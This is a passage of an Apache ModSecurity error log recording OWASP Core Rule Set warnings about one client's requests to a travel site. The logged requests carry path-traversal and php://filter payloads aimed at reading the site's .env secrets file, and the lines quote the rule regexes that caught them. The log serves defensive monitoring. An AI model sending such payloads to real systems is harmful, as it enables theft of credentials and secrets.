/?raw=1&config=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&ref=FwEV4eRvE9Yw4CDJpyAXunSaokIulsUy9LWG3MHO3T1tvKby-Y1u3NAlLFbva1AGGC-F6JV2G4xWkONfxwXuVO9s_eaY2xzFSR76hgCKflzRysiB5M9TOKW4xW8WmqIGEvXi_sMF-uSscTwPSNGTg648oAiyzhjWCB_bDpTw4o9inmTQ33ut-xur-OSGODODOwYSbWaE9_2UohwqXtzKYFa6dmU1xFknjqhbCE0G_XsqsipgwlRDGjezM95ZNbQroAYe9ACFEEASkd_-DEAH0hhu&sid=GUSQ6FRXLQJXNX6VMJS5MEQM3DQF4KBZJIFIGKEPIV4NUQJQ7US3IL6R2XJDZRUJ72CCMOXYASQO37CETXWIH5PJYNR2..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95vwAAAAw"]
[Fri Jul 17 08:55:11.057000 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&ref=fwev4erve9yw4cdjpyaxunsaokiulsuy9lwg3mho3t1tvkby-y1u3nallfbva1aggc-f6jv2g4xwkonfxwxuvo9s_eay2xzfsr76hgckflzrysib5m9tokw4xw8wmqigevxi_smf-ussctwpsngtg648oaiyzhjwcb_bdptw4o9inmtq33ut-xur-osgododowysbwae9_2uohwqxtzkyfa6dmu1xfknjqhbce0g_xsqsipgwlrdgjezm95znbqroaye9acfeeaskd_-deah0hhu&sid=gusq6frxlqjxnx6vmjs5meqm3dqf4kbzjifigkepiv4nuqjq7us3il6r2xjdzruj72ccmoxyasqo37cetxwih5pjynr2..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95vwAAAAw"]
[Fri Jul 17 08:55:11.057022 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95vwAAAAw"]
[Fri Jul 17 08:55:11.057051 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95vwAAAAw"]
[Fri Jul 17 08:55:11.057369 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:config: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95vwAAAAw"]
[Fri Jul 17 08:55:11.057611 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8fgAAABA"]
[Fri Jul 17 08:55:11.057678 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBOwAAAAY"]
[Fri Jul 17 08:55:11.057724 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.057770 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.057998 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0kXT4NBqALj2lZ8fgAAABA"]
[Fri Jul 17 08:55:11.058027 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBOwAAAAY"]
[Fri Jul 17 08:55:11.058341 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95vwAAAAw"]
[Fri Jul 17 08:55:11.058449 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.058741 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95vwAAAAw"]
[Fri Jul 17 08:55:11.061378 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:config: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KQAAABw"]
[Fri Jul 17 08:55:11.062268 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:doc: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSaQAAAB4"]
[Fri Jul 17 08:55:11.063319 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSaQAAAB4"]
[Fri Jul 17 08:55:11.063516 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.063601 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KQAAABw"]
[Fri Jul 17 08:55:11.063864 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSaQAAAB4"]
[Fri Jul 17 08:55:11.063932 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.064566 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4Zvbo7N5o5zeYC-KQAAABw"]
[Fri Jul 17 08:55:11.070878 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&doc=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&junk=goe5wO6TCGpvWlKcAK6Y6wvt6beeKkaqfQIfnqoVB6V-txJRLeycb3Pnzc2WCHLDpuINb5VvYIj5iZmvgEZcg92SLGGhgDK7eF8AvtsgUDYDqhQmaX74hlwHSggCG8eSyJDiUKf79vPz0pyz4Oqf8ZQAKNUn_5dJ7G6TyLfRk8CODDNngPEQ9WpKGcq7vCLDQWRxPcNQPskLUQeTaI3HpB-5bDKfGZMmmCB1UqH0piKFMmy8RkCNRFNBP0LHUloroT4A6b1tBHiM231pyz8JNfzI&ref=2MLYUKV6HFPTIRWQKR42NJDIAXGFD3NYA6SFMF4V6CJW7DEBTTZGMFEYYKS7BYK5H4ZYMA32C4NGNBQINEC..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MKwAAAAc"]
[Fri Jul 17 08:55:11.070931 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MKwAAAAc"]
[Fri Jul 17 08:55:11.070991 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/convert.base64-encode/resource=../../.env&junk=goe5wO6TCGpvWlKcAK6Y6wvt6beeKkaqfQIfnqoVB6V-txJRLeycb3Pnzc2WCHLDpuINb5VvYIj5iZmvgEZcg92SLGGhgDK7eF8AvtsgUDYDqhQmaX74hlwHSggCG8eSyJDiUKf79vPz0pyz4Oqf8ZQAKNUn_5dJ7G6TyLfRk8CODDNngPEQ9WpKGcq7vCLDQWRxPcNQPskLUQeTaI3HpB-5bDKfGZMmmCB1UqH0piKFMmy8RkCNRFNBP0LHUloroT4A6b1tBHiM231pyz8JNfzI&ref=2MLYUKV6HFPTIRWQKR42NJDIAXGFD3NYA6SFMF4V6CJW7DEBTTZGMFEYYKS7BYK5H4ZYMA32C4NGNBQINECFQOXWW3NVD3DOWQHQQ4YLI2J..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MKwAAAAc"]
[Fri Jul 17 08:55:11.071037 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/convert.base64-encode/resource=../../.env&junk=goe5wo6tcgpvwlkcak6y6wvt6beekkaqfqifnqovb6v-txjrleycb3pnzc2wchldpuinb5vvyij5izmvgezcg92slgghgdk7ef8avtsgudydqhqmax74hlwhsggcg8esyjdiukf79vpz0pyz4oqf8zqaknun_5dj7g6tylfrk8coddnngpeq9wpkgcq7vcldqwrxpcnqpskluqetai3hpb-5bdkfgzmmmcb1uqh0pikfmmy8rkcnrfnbp0lhulorot4a6b1tbhim231pyz8jnfzi&ref=2mlyukv6hfptirwqkr42njdiaxgfd3nya6sfmf4v6cjw7debttzgmfeyyks7byk5h4zyma32c4ngnbqinecfqoxww3nvd3dowqhqq4yli2j..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MKwAAAAc"]
[Fri Jul 17 08:55:11.071077 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MKwAAAAc"]
[Fri Jul 17 08:55:11.071100 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MKwAAAAc"]
[Fri Jul 17 08:55:11.071445 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:doc: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MKwAAAAc"]
[Fri Jul 17 08:55:11.072417 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MKwAAAAc"]
[Fri Jul 17 08:55:11.072544 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.072821 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MKwAAAAc"]
[Fri Jul 17 08:55:11.073550 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:doc: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95wAAAAAw"]
[Fri Jul 17 08:55:11.074212 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: 